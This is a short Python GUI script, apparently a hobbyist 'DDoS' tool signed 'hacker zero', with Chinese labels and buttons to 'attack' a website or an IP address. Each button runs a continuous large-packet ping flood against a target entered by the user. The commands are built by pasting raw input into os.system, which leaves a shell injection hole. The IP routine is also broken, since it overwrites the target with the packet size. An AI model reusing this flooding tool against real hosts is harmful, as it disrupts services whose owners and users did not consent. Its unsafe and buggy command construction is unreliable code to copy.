import tkinter as tk
from tkinter import *
import easygui as g
import os
import time
import tkinter
import tkinter.filedialog
from PIL import Image,ImageTk
import os
w = tkinter.Tk()
w.after(3000, w.destroy)
img_gif = tkinter.PhotoImage(file = '2.gif')
label_img = tkinter.Label(w, image = img_gif)
label_img.pack()
def ds():
    class Gui(tk.Tk):
        def __init__(self):
            super().__init__()
            self.title("")
            # self.geometry("1000x800+400+100")
            self.mainGui()
            # self.mainloop()
            

        def mainGui(self):
            image = Image.open("./3.png")
            photo = ImageTk.PhotoImage(image)
            label = tk.Label(self, image=photo)
            label.image = photo     				# in case the image is recycled
            label.grid()
    main = Gui()
    main.mainloop()
def IP():
    IP=g.enterbox("输入攻击的IP")
    sj = IP=g.enterbox("输入数据包大小")
    os.system("ping -l "+sj+" -t "+IP)
def wz():
    wz = g.enterbox("请输入网站")
    sjj = g.enterbox("请输入数据包大小")
    os.system("ping -l "+sjj+" -t "+wz)
win = tk.Tk()
win.title("DDos - by hacker zero")
win.geometry('500x300')#大小
txt = Label(win,text='DDOS攻击--hacker zero')
txt.pack()
btn = Button(win, text='攻击网站', font=14, relief='flat',bg = "white",command = wz)
btn.place(x=100,y=100)
btn = Button(win, text='攻击IP', font=14, relief='flat',bg = "white",command = IP)
btn.place(x=280,y=100)
btn = Button(win, text='打赏', font=14, relief='flat',bg = "white",command = ds)
btn.place(x=0,y=0)
win.mainloop()
